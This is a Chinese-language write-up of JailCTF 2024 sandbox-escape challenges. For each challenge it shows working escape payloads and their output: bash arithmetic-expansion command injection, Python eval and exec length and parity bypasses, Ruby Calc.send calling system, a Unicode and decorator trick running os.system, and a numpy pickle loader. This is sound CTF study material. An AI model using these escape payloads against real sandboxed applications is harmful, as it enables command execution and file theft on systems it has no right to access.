国际赛JailCTF 2024 WP
1315609050541697 发表于 湖北 CTF 226浏览 · 2024-11-06 04:13

blind-calc

$ nc challs1.pyjail.club 5838

发送公式时,会返回计算结果。

输入math > 3*3 得到9

如果发送的公式无效,则返回错误语句。

输入 math > 0/0
./blind.sh:第 3 行:0/0:除以 0(错误标记为“0”)

我查了一下,它被称为 Bash 的 Arithmetic Expansion。

Enter math > a[$(ls)]
./blind.sh: line 3: blind.sh
flag.txt
run: syntax error: invalid arithmetic operator (error token is ".sh
flag.txt
run")

Enter math > a[$(cat flag.txt)]
./blind.sh: line 3: jail{blind-calc_9c701e8c09f6cc0edd6}: syntax error: invalid arithmetic operator (error token is "{blind-calc_9c701e8c09f6cc0edd6}")

filter'd

题目源码如下

#!/usr/local/bin/python3

M = 14  # no malicious code could ever be executed since this limit is so low, right?

def f(code):

    assert len(code) <= M

    assert all(ord(c) < 128 for c in code)

    assert all(q not in code for q in ["exec",

"eval", "breakpoint", "help", "license", "exit"

, "quit"])

    exec(code, globals())

f(input("> "))

由于限制了长度,我们可以通过input()函数绕过,

> N=input();f(N)
f(input())
M=99;f(N)
print(open('flag.txt').read())
jail{can_you_repeat_that_for_me?_aacb7144d2c}

操作步骤如下。

N=input() 执行。
字符串 “f(input())” 被分配给 N
f (N) 执行。
字符串 “f(input())” 为 exec。
字符串 “M=99; f(N)“ 开始执行。
M=99
f(N) 被执行
字符串 “f(input())” 为 exec。
在 M = 99 的状态下,可以执行 f (input())。

parity 1

源码如下

#!/usr/local/bin/python3
inp = input("> ")

for i, v in enumerate(inp):
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print('bad')
        exit()

eval(inp)

仅当偶数字符的 ORD 为偶数,奇数字符的 ORD 为奇数等条件时才能执行的沙箱。 也不允许使用非 ASCII 字符。

模糊测试结果如下

for x in dir(__builtins__):
    for i, v in enumerate(x):
        if not (ord(v) < 128 and i % 2 == ord(v) % 2):
            break
    else:
        print(x)

for x in dir(__builtins__):
    for i, v in enumerate(x):
        if not (ord(v) < 128 and i % 2 != ord(v) % 2):
            break
    else:
        print(x)

# 結果
# None
# bin
# dir
# hex
# len
# type
# vars
# zip
# abs
# any
# credits
# eval
# exit
# globals
# id
# iter
# open

eval可以使用,所以你需要做的就是弄清楚如何生成任意字符串。

在这里,我们利用了"(34)和(39)在偶数和奇数上不同的'事实。如果字符数是奇数"a",如果是偶数,'b'则可以表示任意字符。通过使用 (32)和(43),可以如下组合。我用它创建了一个求解器。

def parseParity(s):
    res = ""
    for i in range(len(s)):
        if ord(s[i]) % 2 == 0:
            res += f" '{s[i]}' +"
        else:
            res += f'"{s[i]}"+'
    return res.strip()[:-1]

payload = "print(open('flag.txt').read())"

inp = f""" eval\t({parseParity(payload)})"""
# for i, v in enumerate(inp):
#     print(i % 2, ord(v) % 2, v, i % 2 == ord(v) % 2 )
print(inp)

现在python test.py | nc challs2.pyjail.club 7991可以跑并获得了。

parity 2

条件与上一问题类似,但不是内置函数不可用,而是可以使用一个 lambda 函数。

#!/usr/local/bin/python3
inp = input("> ")

f = lambda: None

for i, v in enumerate(inp):
    if v == "_":
        continue
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print('bad')
        exit()

eval(inp, {"__builtins__": None, 'f': f})

模糊测试如下

f = lambda: None
for x in dir(f):
    for i, v in enumerate(x):
        if v == '_':
            continue
        if not (ord(v) < 128 and i % 2 == ord(v) % 2):
            break
    else:
        print(x)

for x in dir(f):
    for i, v in enumerate(x):
        if v == '_':
            continue
        if not (ord(v) < 128 and i % 2 != ord(v) % 2):
            break
    else:
        print(x)
# 結果
# __dir__
# __le__
# __ne__
# __globals__
# __gt__
# __init__

我查了一下,f.__globals__['__builtins__'].eval可以使用。剩下要做的就是找到上一个问题中 '__builtins__'的内容。

def parseParity(s):
    parity = 0
    res = ""
    for i in range(len(s)):
        if ord(s[i]) % 2 == 0:
            res += f" '{s[i]}' +"
        else:
            res += f'"{s[i]}"+'
    return res.strip()[:-1]


payload = """f.__builtins__["print"](f.__builtins__["open"]("flag.txt").read())"""

inp = f"""f\t.__globals__ [{parseParity('__builtins__')}].eval\t({parseParity(payload)})"""
# for i, v in enumerate(inp):
#     print(i % 2, ord(v) % 2, v, i % 2 == ord(v) % 2 or v == '_')
print(inp)

SUS-计算器

允许在 ruby​​ 中执行四种算术运算的沙箱

#!/usr/local/bin/ruby
class Calc
  def self.+ left, right
    left = left.to_i if left.is_a? String
    right = right.to_i if right.is_a? String

    return left + right
  end
  # 同様のものが- * / %で定義されている。
end

# snap

loop do
  print "> "
  cmd = gets.chomp.split
  # snap 

  left, op, right = cmd
  puts Calc.send(op.to_sym, left, right)
end

Calc.send是什么?由于它没有在类中定义,我认为它是内置在 Ruby 中的,我发现可以使用类中的符号调用任何方法。

如果我们在全局函数而不是方法中执行它会发生什么?所以我尝试ls system -l运行它,它system('ls', '-l')成功了。

SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)

> ls system -l
total 8
-r--r--r-- 1 nobody nogroup   28 Jul  3 02:25 flag.txt
-rwxr-xr-x 1 nobody nogroup 1164 Jul  2 06:11 run
true
> cat system flag.txt
jail{me_when_i_uhhh_escape}
true

no nonsense

必须满足以下条件

  • 当输入被ast解释时,原始代码中不包含变量名
  • ([=])不包含字符。
  • \n不要包含(否则input将会结束)
#!/usr/local/bin/python3
from ast import parse, NodeVisitor

inp = input('> ')
if any(c in inp for c in '([=])'):
    print('no.')
    exit()

class NoNonsenseVisitor(NodeVisitor):
    def visit_Name(self, n):
        if n.id in inp:  # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right?
            print('no ' + n.id)
            exit()


NoNonsenseVisitor().visit(parse(inp))

exec(inp)  # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk

Python将全角字母等Unicode字符转换为Ascii字符,因此转换后的变量名不再包含在原始代码中。

关于第二个条件,好像没有括号函数就无法执行,但是使用类装饰器可以执行函数。使用此功能,可以通过执行eval(bytes.fromhex("<有效负载的十六进制数>".format(_)))对应的代码来执行任意代码。

如果使用装饰器,则必须使用换行符,因此需要考虑第三个条件。这也可以通过利用 python将\r视为换行符

e = "__import__('os').system('cat flag.txt')"
e = e.encode().hex()

payload = f"""@eval
@bytes.fromhex
@"{e}".format
class _:pass
""".replace("\n", "\r")

print(payload)

pickled magic

它读取pickle,但只能读取不包含的numpy变量。__

#!/usr/local/bin/python3
# modified from https://github.com/splitline/My-CTF-Challenges/blob/master/hitcon-quals/2022/misc/Picklection/release/share/chal.py
import pickle, numpy, io
from pickle import _getattribute
class RestrictedUnpickler(pickle.Unpickler): 
     def find_class(self, module, name): 
        if module == 'numpy' and '__' not in name:
            return _getattribute(numpy, name)[0]
        raise pickle.UnpicklingError('bad')

data = bytes.fromhex(input("(hex)> "))
print(RestrictedUnpickler(io.BytesIO(data)).load())

由于除非使用find_class执行,否则无法导入pickle find_class('__builtins__', 'eval'),因此即使是常见的内置命令也无法在此环境中使用。

poc

from pickaxe.crafter import Crafter

crafter = Crafter()

crafter.import_from('numpy', 'loadtxt')
crafter.push_str('flag.txt')
crafter.call_f(1)

b = crafter.get_payload(check_stop=True)

print(b.hex())

payload如下

$ python test.py | nc challs1.pyjail.club 5200

(hex)> ValueError: could not convert string to float: 'jail{idk_about_mag1c_but_this_is_definitely_pickled}'

也可以用原来的生成它。

import pickle
class Evil:
    def __reduce__(self):
        from numpy import loadtxt
        return (loadtxt, ('flag.txt',))

pickled = pickle.dumps(Evil())
print(pickled.hex())

jellyjail

名为jelly的 esolang(模糊编程语言)沙箱。只允许使用两个字符。

#!/usr/local/bin/python3
# https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188
from jellylanguage.jelly.interpreter import jelly_eval

inp = input()[:2]
banned = "0123456789ỌŒƓVС"  # good thing i blocked all ways of getting to python eval !!! yep

if not all([c not in inp for c in banned]):
    print('stop using banned')
    exit()

print(jelly_eval(inp, []))

文档中寻找有用的函数。

首先,我甚至无法输入包含两个字符的文件名,因此我希望能够输入其他字符。但是只能用Ɠƈɠ这些

接下来,我想执行它,所以我搜索“eval”并Vv找到了它

从之前的搜索中,Ɠ我知道标准输入将作为 python 代码执行,因此我能够进一步利用它来执行任意代码。

poc如下

$ nc challs1.pyjail.club 5999
ɠv
Ɠ
print(open('flag.txt').read())
jail{jelllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllly_c3056822a950d0}
0 条评论
某人
表情
可输入 255